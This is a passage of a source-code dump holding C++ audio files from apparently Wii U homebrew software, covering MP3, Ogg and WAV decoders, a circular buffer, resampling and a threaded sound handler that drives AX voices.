BufferReady.erase(BufferReady.begin()+pos); } void BufferCircle::ClearBuffer() { for(s32 i = 0; i < Size(); i++) { BufferSize[i] = 0; BufferReady[i] = false; } which = 0; } void BufferCircle::FreeBuffer() { for(s32 i = 0; i < Size(); i++) { if(SoundBuffer[i] != NULL) free(SoundBuffer[i]); SoundBuffer[i] = NULL; BufferSize[i] = 0; BufferReady[i] = false; } } void BufferCircle::LoadNext() { BufferReady[which] = false; BufferSize[which] = 0; which = Next(); } void BufferCircle::SetBufferReady(s32 pos, bool state) { if(!Valid(pos)) return; BufferReady[pos] = state; } void BufferCircle::SetBufferSize(s32 pos, s32 size) { if(!Valid(pos)) return; BufferSize[pos] = size; } ================================================ FILE: src/sounds/BufferCircle.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #ifndef BUFFER_CIRCLE_HPP_ #define BUFFER_CIRCLE_HPP_ #include #include class BufferCircle { public: //!> Constructor BufferCircle(); //!> Destructor ~BufferCircle(); //!> Set circle size void Resize(s32 size); //!> Get the circle size s32 Size() { return SoundBuffer.size(); }; //!> Set/resize the buffer size void SetBufferBlockSize(s32 size); //!> Remove a buffer void RemoveBuffer(s32 pos); //!> Set all buffers clear void ClearBuffer(); //!> Free all buffers void FreeBuffer(); //!> Switch to next buffer void LoadNext(); //!> Get the current buffer u8 * GetBuffer() { return GetBuffer(which); }; //!> Get a buffer at a position u8 * GetBuffer(s32 pos) { if(!Valid(pos)) return NULL; else return SoundBuffer[pos]; }; //!> Get current buffer size u32 GetBufferSize() { return GetBufferSize(which); }; //!> Get buffer size at position u32 GetBufferSize(s32 pos) { if(!Valid(pos)) return 0; else return BufferSize[pos]; }; //!> Is current buffer ready bool IsBufferReady() { return IsBufferReady(which); }; //!> Is a buffer at a position ready bool IsBufferReady(s32 pos) { if(!Valid(pos)) return false; else return BufferReady[pos]; }; //!> Set a buffer at a position to a ready state void SetBufferReady(s32 pos, bool st); //!> Set the buffersize at a position void SetBufferSize(s32 pos, s32 size); //!> Get the current position in the circle u16 Which() { return which; }; //!> Get the next location inline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; } inline u16 Prev() { if(Size() == 0) return 0; else return ((s32)which-1 < 0) ? Size()-1 : which-1; } protected: //!> Check if the position is a valid position in the vector bool Valid(s32 pos) { return !(pos < 0 || pos >= Size()); }; u16 which; u32 BufferBlockSize; std::vector SoundBuffer; std::vector BufferSize; std::vector BufferReady; }; #endif ================================================ FILE: src/sounds/Mp3Decoder.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include #include #include #include #include #include "dynamic_libs/os_functions.h" #include "Mp3Decoder.hpp" Mp3Decoder::Mp3Decoder(const char * filepath) : SoundDecoder(filepath) { SoundType = SOUND_MP3; ReadBuffer = NULL; mad_timer_reset(&Timer); mad_stream_init(&Stream); mad_frame_init(&Frame); mad_synth_init(&Synth); if(!file_fd) return; OpenFile(); } Mp3Decoder::Mp3Decoder(const u8 * snd, s32 len) : SoundDecoder(snd, len) { SoundType = SOUND_MP3; ReadBuffer = NULL; mad_timer_reset(&Timer); mad_stream_init(&Stream); mad_frame_init(&Frame); mad_synth_init(&Synth); if(!file_fd) return; OpenFile(); } Mp3Decoder::~Mp3Decoder() { ExitRequested = true; while(Decoding) os_usleep(100); mad_synth_finish(&Synth); mad_frame_finish(&Frame); mad_stream_finish(&Stream); if(ReadBuffer) free(ReadBuffer); ReadBuffer = NULL; } void Mp3Decoder::OpenFile() { GuardPtr = NULL; ReadBuffer = (u8 *) memalign(32, SoundBlockSize*SoundBlocks); if(!ReadBuffer) { if(file_fd) delete file_fd; file_fd = NULL; return; } u8 dummybuff[4096]; s32 ret = Read(dummybuff, 4096, 0); if(ret <= 0) { if(file_fd) delete file_fd; file_fd = NULL; return; } SampleRate = (u32) Frame.header.samplerate; Format = ((MAD_NCHANNELS(&Frame.header) == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); Rewind(); } s32 Mp3Decoder::Rewind() { mad_synth_finish(&Synth); mad_frame_finish(&Frame); mad_stream_finish(&Stream); mad_timer_reset(&Timer); mad_stream_init(&Stream); mad_frame_init(&Frame); mad_synth_init(&Synth); SynthPos = 0; GuardPtr = NULL; if(!file_fd) return -1; return SoundDecoder::Rewind(); } static inline s16 FixedToShort(mad_fixed_t Fixed) { /* Clipping */ if(Fixed>=MAD_F_ONE) return(SHRT_MAX); if(Fixed<=-MAD_F_ONE) return(-SHRT_MAX); Fixed=Fixed>>(MAD_F_FRACBITS-15); return((s16)Fixed); } s32 Mp3Decoder::Read(u8 * buffer, s32 buffer_size, s32 pos) { if(!file_fd) return -1; if(Format == (FORMAT_PCM_16_BIT | CHANNELS_STEREO)) buffer_size &= ~0x0003; else buffer_size &= ~0x0001; u8 * write_pos = buffer; u8 * write_end = buffer+buffer_size; while(1) { while(SynthPos < Synth.pcm.length) { if(write_pos >= write_end) return write_pos-buffer; *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[0][SynthPos]); write_pos += 2; if(MAD_NCHANNELS(&Frame.header) == 2) { *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[1][SynthPos]); write_pos += 2; } SynthPos++; } if(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN) { u8 * ReadStart = ReadBuffer; s32 ReadSize = SoundBlockSize*SoundBlocks; s32 Remaining = 0; if(Stream.next_frame != NULL) { Remaining = Stream.bufend - Stream.next_frame; memmove(ReadBuffer, Stream.next_frame, Remaining); ReadStart += Remaining; ReadSize -= Remaining; } ReadSize = file_fd->read(ReadStart, ReadSize); if(ReadSize <= 0) { GuardPtr = ReadStart; memset(GuardPtr, 0, MAD_BUFFER_GUARD); ReadSize = MAD_BUFFER_GUARD; } CurPos += ReadSize; mad_stream_buffer(&Stream, ReadBuffer, Remaining+ReadSize); } if(mad_frame_decode(&Frame,&Stream)) { if(MAD_RECOVERABLE(Stream.error)) { if(Stream.error != MAD_ERROR_LOSTSYNC || !GuardPtr) continue; } else { if(Stream.error != MAD_ERROR_BUFLEN) return -1; else if(Stream.error == MAD_ERROR_BUFLEN && GuardPtr) return -1; } } mad_timer_add(&Timer,Frame.header.duration); mad_synth_frame(&Synth,&Frame); SynthPos = 0; } return 0; } ================================================ FILE: src/sounds/Mp3Decoder.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include "SoundDecoder.hpp" class Mp3Decoder : public SoundDecoder { public: Mp3Decoder(const char * filepath); Mp3Decoder(const u8 * sound, s32 len); virtual ~Mp3Decoder(); s32 Rewind(); s32 Read(u8 * buffer, s32 buffer_size, s32 pos); protected: void OpenFile(); struct mad_stream Stream; struct mad_frame Frame; struct mad_synth Synth; mad_timer_t Timer; u8 * GuardPtr; u8 * ReadBuffer; u32 SynthPos; }; ================================================ FILE: src/sounds/OggDecoder.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include #include "dynamic_libs/os_functions.h" #include "OggDecoder.hpp" static int ogg_read(void * punt, int bytes, int blocks, int *f) { return ((CFile *) f)->read((u8 *) punt, bytes*blocks); } static int ogg_seek(int *f, ogg_int64_t offset, int mode) { return ((CFile *) f)->seek((u64) offset, mode); } static int ogg_close(int *f) { ((CFile *) f)->close(); return 0; } static long ogg_tell(int *f) { return (long) ((CFile *) f)->tell(); } static ov_callbacks callbacks = { (size_t (*)(void *, size_t, size_t, void *)) ogg_read, (int (*)(void *, ogg_int64_t, int)) ogg_seek, (int (*)(void *)) ogg_close, (long (*)(void *)) ogg_tell }; OggDecoder::OggDecoder(const char * filepath) : SoundDecoder(filepath) { SoundType = SOUND_OGG; if(!file_fd) return; OpenFile(); } OggDecoder::OggDecoder(const u8 * snd, s32 len) : SoundDecoder(snd, len) { SoundType = SOUND_OGG; if(!file_fd) return; OpenFile(); } OggDecoder::~OggDecoder() { ExitRequested = true; while(Decoding) os_usleep(100); if(file_fd) ov_clear(&ogg_file); } void OggDecoder::OpenFile() { if (ov_open_callbacks(file_fd, &ogg_file, NULL, 0, callbacks) < 0) { delete file_fd; file_fd = NULL; return; } ogg_info = ov_info(&ogg_file, -1); if(!ogg_info) { ov_clear(&ogg_file); delete file_fd; file_fd = NULL; return; } Format = ((ogg_info->channels == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); SampleRate = ogg_info->rate; } s32 OggDecoder::Rewind() { if(!file_fd) return -1; s32 ret = ov_time_seek(&ogg_file, 0); CurPos = 0; EndOfFile = false; return ret; } s32 OggDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos) { if(!file_fd) return -1; s32 bitstream = 0; s32 read = (s32) ov_read(&ogg_file, (char *) buffer, (int) buffer_size, (int *)&bitstream); if(read > 0) CurPos += read; return read; } ================================================ FILE: src/sounds/OggDecoder.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include #include "SoundDecoder.hpp" class OggDecoder : public SoundDecoder { public: OggDecoder(const char * filepath); OggDecoder(const u8 * snd, s32 len); virtual ~OggDecoder(); s32 Rewind(); s32 Read(u8 * buffer, s32 buffer_size, s32 pos); protected: void OpenFile(); OggVorbis_File ogg_file; vorbis_info *ogg_info; }; ================================================ FILE: src/sounds/SoundDecoder.cpp ================================================ /**************************************************************************** * Copyright (C) 2009-2013 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include #include "dynamic_libs/os_functions.h" #include "SoundDecoder.hpp" static const u32 FixedPointShift = 15; static const u32 FixedPointScale = 1 << FixedPointShift; SoundDecoder::SoundDecoder() { file_fd = NULL; Init(); } SoundDecoder::SoundDecoder(const std::string & filepath) { file_fd = new CFile(filepath, CFile::ReadOnly); Init(); } SoundDecoder::SoundDecoder(const u8 * buffer, s32 size) { file_fd = new CFile(buffer, size); Init(); } SoundDecoder::~SoundDecoder() { ExitRequested = true; while(Decoding) os_usleep(1000); //! lock unlock once to make sure it's really not decoding Lock(); Unlock(); if(file_fd) delete file_fd; file_fd = NULL; if(ResampleBuffer) free(ResampleBuffer); } void SoundDecoder::Init() { SoundType = SOUND_RAW; SoundBlocks = 8; SoundBlockSize = 0x4000; ResampleTo48kHz = false; CurPos = 0; whichLoad = 0; Loop = false; EndOfFile = false; Decoding = false; ExitRequested = false; SoundBuffer.SetBufferBlockSize(SoundBlockSize); SoundBuffer.Resize(SoundBlocks); ResampleBuffer = NULL; ResampleRatio = 0; } s32 SoundDecoder::Rewind() { CurPos = 0; EndOfFile = false; file_fd->rewind(); return 0; } s32 SoundDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos) { s32 ret = file_fd->read(buffer, buffer_size); CurPos += ret; return ret; } void SoundDecoder::EnableUpsample(void) { if( (ResampleBuffer == NULL) && IsStereo() && Is16Bit() && SampleRate != 32000 && SampleRate != 48000) { ResampleBuffer = (u8*)memalign(32, SoundBlockSize); ResampleRatio = ( FixedPointScale * SampleRate ) / 48000; SoundBlockSize = ( SoundBlockSize * ResampleRatio ) / FixedPointScale; SoundBlockSize &= ~0x03; // set new sample rate SampleRate = 48000; } } void SoundDecoder::Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples) { s32 timer = 0; for(u32 i = 0, n = 0; i < nr_dst_samples; i += 2) { if((n+3) < nr_src_samples) { // simple fixed point linear interpolation dst[i] = src[n] + ( ((src[n+2] - src[n] ) * timer) >> FixedPointShift ); dst[i+1] = src[n+1] + ( ((src[n+3] - src[n+1]) * timer) >> FixedPointShift ); } else { dst[i] = src[n]; dst[i+1] = src[n+1]; } timer += ResampleRatio; if(timer >= (s32)FixedPointScale) { n += 2; timer -= FixedPointScale; } } } void SoundDecoder::Decode() { if(!file_fd || ExitRequested || EndOfFile) return; // check if we are not at the pre-last buffer (last buffer is playing) u16 whichPlaying = SoundBuffer.Which(); if( ((whichPlaying == 0) && (whichLoad == SoundBuffer.Size()-2)) || ((whichPlaying == 1) && (whichLoad == SoundBuffer.Size()-1)) || (whichLoad == (whichPlaying-2))) { return; } Decoding = true; s32 done = 0; u8 * write_buf = SoundBuffer.GetBuffer(whichLoad); if(!write_buf) { ExitRequested = true; Decoding = false; return; } if(ResampleTo48kHz && !ResampleBuffer) EnableUpsample(); while(done < SoundBlockSize) { s32 ret = Read(&write_buf[done], SoundBlockSize-done, Tell()); if(ret <= 0) { if(Loop) { Rewind(); continue; } else { EndOfFile = true; break; } } done += ret; } if(done > 0) { // check if we need to resample if(ResampleBuffer && ResampleRatio) { memcpy(ResampleBuffer, write_buf, done); s32 src_samples = done >> 1; s32 dest_samples = ( src_samples * FixedPointScale ) / ResampleRatio; dest_samples &= ~0x01; Upsample((s16*)ResampleBuffer, (s16*)write_buf, src_samples, dest_samples); done = dest_samples << 1; } //! TODO: remove this later and add STEREO support with two voices, for now we convert to MONO if(IsStereo()) { s16* monoBuf = (s16*)write_buf; done = done >> 1; for(s32 i = 0; i < done; i++) monoBuf[i] = monoBuf[i << 1]; } DCFlushRange(write_buf, done); SoundBuffer.SetBufferSize(whichLoad, done); SoundBuffer.SetBufferReady(whichLoad, true); if(++whichLoad >= SoundBuffer.Size()) whichLoad = 0; } // check if next in queue needs to be filled as well and do so if(!SoundBuffer.IsBufferReady(whichLoad)) Decode(); Decoding = false; } ================================================ FILE: src/sounds/SoundDecoder.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #ifndef SOUND_DECODER_HPP #define SOUND_DECODER_HPP #include "fs/CFile.hpp" #include "system/CMutex.h" #include "BufferCircle.hpp" class SoundDecoder { public: SoundDecoder(); SoundDecoder(const std::string & filepath); SoundDecoder(const u8 * buffer, s32 size); virtual ~SoundDecoder(); virtual void Lock() { mutex.lock(); } virtual void Unlock() { mutex.unlock(); } virtual s32 Read(u8 * buffer, s32 buffer_size, s32 pos); virtual s32 Tell() { return CurPos; } virtual s32 Seek(s32 pos) { CurPos = pos; return file_fd->seek(CurPos, SEEK_SET); } virtual s32 Rewind(); virtual u16 GetFormat() { return Format; } virtual u16 GetSampleRate() { return SampleRate; } virtual void Decode(); virtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); } virtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); } virtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); } virtual void LoadNext() { SoundBuffer.LoadNext(); } virtual bool IsEOF() { return EndOfFile; } virtual void SetLoop(bool l) { Loop = l; EndOfFile = false; } virtual u8 GetSoundType() { return SoundType; } virtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; } virtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; } virtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16_BIT); } virtual bool IsDecoding() { return Decoding; } void EnableUpsample(void); enum SoundFormats { FORMAT_PCM_16_BIT = 0x0A, FORMAT_PCM_8_BIT = 0x19, }; enum SoundChannels { CHANNELS_MONO = 0x100, CHANNELS_STEREO = 0x200 }; enum SoundType { SOUND_RAW = 0, SOUND_MP3, SOUND_OGG, SOUND_WAV }; protected: void Init(); void Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples); CFile * file_fd; BufferCircle SoundBuffer; u8 SoundType; u16 whichLoad; u16 SoundBlocks; s32 SoundBlockSize; s32 CurPos; bool ResampleTo48kHz; bool Loop; bool EndOfFile; bool Decoding; bool ExitRequested; u16 Format; u16 SampleRate; u8 *ResampleBuffer; u32 ResampleRatio; CMutex mutex; }; #endif ================================================ FILE: src/sounds/SoundHandler.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include #include "common/common.h" #include "dynamic_libs/ax_functions.h" #include "fs/CFile.hpp" #include "SoundHandler.hpp" #include "WavDecoder.hpp" #include "Mp3Decoder.hpp" #include "OggDecoder.hpp" SoundHandler * SoundHandler::handlerInstance = NULL; SoundHandler::SoundHandler() : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x8000) { Decoding = false; ExitRequested = false; for(u32 i = 0; i < MAX_DECODERS; ++i) { DecoderList[i] = NULL; voiceList[i] = NULL; } resumeThread(); //! wait for initialization while(!isThreadSuspended()) os_usleep(1000); } SoundHandler::~SoundHandler() { ExitRequested = true; ThreadSignal(); ClearDecoderList(); } void SoundHandler::AddDecoder(s32 voice, const char * filepath) { if(voice < 0 || voice >= MAX_DECODERS) return; if(DecoderList[voice] != NULL) RemoveDecoder(voice); DecoderList[voice] = GetSoundDecoder(filepath); } void SoundHandler::AddDecoder(s32 voice, const u8 * snd, s32 len) { if(voice < 0 || voice >= MAX_DECODERS) return; if(DecoderList[voice] != NULL) RemoveDecoder(voice); DecoderList[voice] = GetSoundDecoder(snd, len); } void SoundHandler::RemoveDecoder(s32 voice) { if(voice < 0 || voice >= MAX_DECODERS) return; if(DecoderList[voice] != NULL) { if(voiceList[voice] && voiceList[voice]->getState() != Voice::STATE_STOPPED) { if(voiceList[voice]->getState() != Voice::STATE_STOP) voiceList[voice]->setState(Voice::STATE_STOP); while(voiceList[voice]->getState() != Voice::STATE_STOPPED) os_usleep(1000); } SoundDecoder *decoder = DecoderList[voice]; decoder->Lock(); DecoderList[voice] = NULL; decoder->Unlock(); delete decoder; } } void SoundHandler::ClearDecoderList() { for(u32 i = 0; i < MAX_DECODERS; ++i) RemoveDecoder(i); } static inline bool CheckMP3Signature(const u8 * buffer) { const char MP3_Magic[][3] = { {'I', 'D', '3'}, //'ID3' {0xff, 0xfe}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xff}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), {0xff, 0xfa}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xfb}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), {0xff, 0xf2}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xf3}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), {0xff, 0xf4}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xf5}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), {0xff, 0xf6}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xf7}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), {0xff, 0xe2}, //'MPEG ADTS, layer III, v2.5 [protected]', 'mp3', 'audio/mpeg'), {0xff, 0xe3}, //'MPEG ADTS, layer III, v2.5', 'mp3', 'audio/mpeg'), }; if(buffer[0] == MP3_Magic[0][0] && buffer[1] == MP3_Magic[0][1] && buffer[2] == MP3_Magic[0][2]) { return true; } for(s32 i = 1; i < 13; i++) { if(buffer[0] == MP3_Magic[i][0] && buffer[1] == MP3_Magic[i][1]) return true; } return false; } SoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath) { u32 magic; CFile f(filepath, CFile::ReadOnly); if(f.size() == 0) return NULL; do { f.read((u8 *) &magic, 1); } while(((u8 *) &magic)[0] == 0 && f.tell() < f.size()); if(f.tell() == f.size()) return NULL; f.seek(f.tell()-1, SEEK_SET); f.read((u8 *) &magic, 4); f.close(); if(magic == 0x4f676753) // 'OggS' { return new OggDecoder(filepath); } else if(magic == 0x52494646) // 'RIFF' { return new WavDecoder(filepath); } else if(CheckMP3Signature((u8 *) &magic) == true) { return new Mp3Decoder(filepath); } return new SoundDecoder(filepath); } SoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, s32 length) { const u8 * check = sound; s32 counter = 0; while(check[0] == 0 && counter < length) { check++; counter++; } if(counter >= length) return NULL; u32 * magic = (u32 *) check; if(magic[0] == 0x4f676753) // 'OggS' { return new OggDecoder(sound, length); } else if(magic[0] == 0x52494646) // 'RIFF' { return new WavDecoder(sound, length); } else if(CheckMP3Signature(check) == true) { return new Mp3Decoder(sound, length); } return new SoundDecoder(sound, length); } void SoundHandler::executeThread() { // v2 sound lib can not properly end transition audio on old firmwares if (OS_FIRMWARE >= 400 && OS_FIRMWARE <= 410) { ProperlyEndTransitionAudio(); } //! initialize 48 kHz renderer u32 params[3] = { 1, 0, 0 }; if(AXInitWithParams != 0) AXInitWithParams(params); else AXInit(); // The problem with last voice on 500 was caused by it having priority 0 // We would need to change this priority distribution if for some reason // we would need MAX_DECODERS > Voice::PRIO_MAX for(u32 i = 0; i < MAX_DECODERS; ++i) { s32 priority = (MAX_DECODERS - i) * Voice::PRIO_MAX / MAX_DECODERS; voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority } AXRegisterFrameCallback((void*)&axFrameCallback); u16 i = 0; while (!ExitRequested) { suspendThread(); for(i = 0; i < MAX_DECODERS; ++i) { if(DecoderList[i] == NULL) continue; Decoding = true; if(DecoderList[i]) DecoderList[i]->Lock(); if(DecoderList[i]) DecoderList[i]->Decode(); if(DecoderList[i]) DecoderList[i]->Unlock(); } Decoding = false; } for(u32 i = 0; i < MAX_DECODERS; ++i) voiceList[i]->stop(); AXRegisterFrameCallback(NULL); AXQuit(); for(u32 i = 0; i < MAX_DECODERS; ++i) { delete voiceList[i]; voiceList[i] = NULL; } } void SoundHandler::axFrameCallback(void) { for (u32 i = 0; i < MAX_DECODERS; i++) { Voice *voice = handlerInstance->getVoice(i); switch (voice->getState()) { default: case Voice::STATE_STOPPED: break; case Voice::STATE_START: { SoundDecoder * decoder = handlerInstance->getDecoder(i); decoder->Lock(); if(decoder->IsBufferReady()) { const u8 *buffer = decoder->GetBuffer(); const u32 bufferSize = decoder->GetBufferSize(); decoder->LoadNext(); const u8 *nextBuffer = NULL; u32 nextBufferSize = 0; if(decoder->IsBufferReady()) { nextBuffer = decoder->GetBuffer(); nextBufferSize = decoder->GetBufferSize(); decoder->LoadNext(); } voice->play(buffer, bufferSize, nextBuffer, nextBufferSize, decoder->GetFormat() & 0xff, decoder->GetSampleRate()); handlerInstance->ThreadSignal(); voice->setState(Voice::STATE_PLAYING); } decoder->Unlock(); break; } case Voice::STATE_PLAYING: if(voice->getInternState() == 1) { if(voice->isBufferSwitched()) { SoundDecoder * decoder = handlerInstance->getDecoder(i); decoder->Lock(); if(decoder->IsBufferReady()) { voice->setNextBuffer(decoder->GetBuffer(), decoder->GetBufferSize()); decoder->LoadNext(); handlerInstance->ThreadSignal(); } else if(decoder->IsEOF()) { voice->setState(Voice::STATE_STOP); } decoder->Unlock(); } } else { voice->setState(Voice::STATE_STOPPED); } break; case Voice::STATE_STOP: if(voice->getInternState() != 0) voice->stop(); voice->setState(Voice::STATE_STOPPED); break; } } } ================================================ FILE: src/sounds/SoundHandler.hpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #ifndef SOUNDHANDLER_H_ #define SOUNDHANDLER_H_ #include #include #include "system/CThread.h" #include "SoundDecoder.hpp" #include "Voice.h" #define MAX_DECODERS 16 // can be increased up to 96 class SoundHandler : public CThread { public: static SoundHandler * instance() { if (!handlerInstance) handlerInstance = new SoundHandler(); return handlerInstance; } static void DestroyInstance() { delete handlerInstance; handlerInstance = NULL; } void AddDecoder(s32 voice, const char * filepath); void AddDecoder(s32 voice, const u8 * snd, s32 len); void RemoveDecoder(s32 voice); SoundDecoder * getDecoder(s32 i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : DecoderList[i]); }; Voice * getVoice(s32 i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : voiceList[i]); }; void ThreadSignal() { resumeThread(); }; bool IsDecoding() { return Decoding; }; protected: SoundHandler(); ~SoundHandler(); static void axFrameCallback(void); void executeThread(void); void ClearDecoderList(); SoundDecoder * GetSoundDecoder(const char * filepath); SoundDecoder * GetSoundDecoder(const u8 * sound, s32 length); static SoundHandler * handlerInstance; bool Decoding; bool ExitRequested; Voice * voiceList[MAX_DECODERS]; SoundDecoder * DecoderList[MAX_DECODERS]; }; #endif ================================================ FILE: src/sounds/Voice.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _AXSOUND_H_ #define _AXSOUND_H_ #include "dynamic_libs/os_functions.h" #include "dynamic_libs/ax_functions.h" class Voice { public: enum VoicePriorities { PRIO_MIN = 1, PRIO_MAX = 31 }; enum VoiceStates { STATE_STOPPED, STATE_START, STATE_PLAYING, STATE_STOP, }; Voice(s32 prio) : state(STATE_STOPPED) { lastLoopCounter = 0; nextBufferSize = 0; voice = AXAcquireVoice(prio, 0, 0); if(voice) { AXVoiceBegin(voice); AXSetVoiceType(voice, 0); setVolume(0x80000000); u32 mix[24]; memset(mix, 0, sizeof(mix)); mix[0] = 0x80000000; mix[4] = 0x80000000; AXSetVoiceDeviceMix(voice, 0, 0, mix); AXSetVoiceDeviceMix(voice, 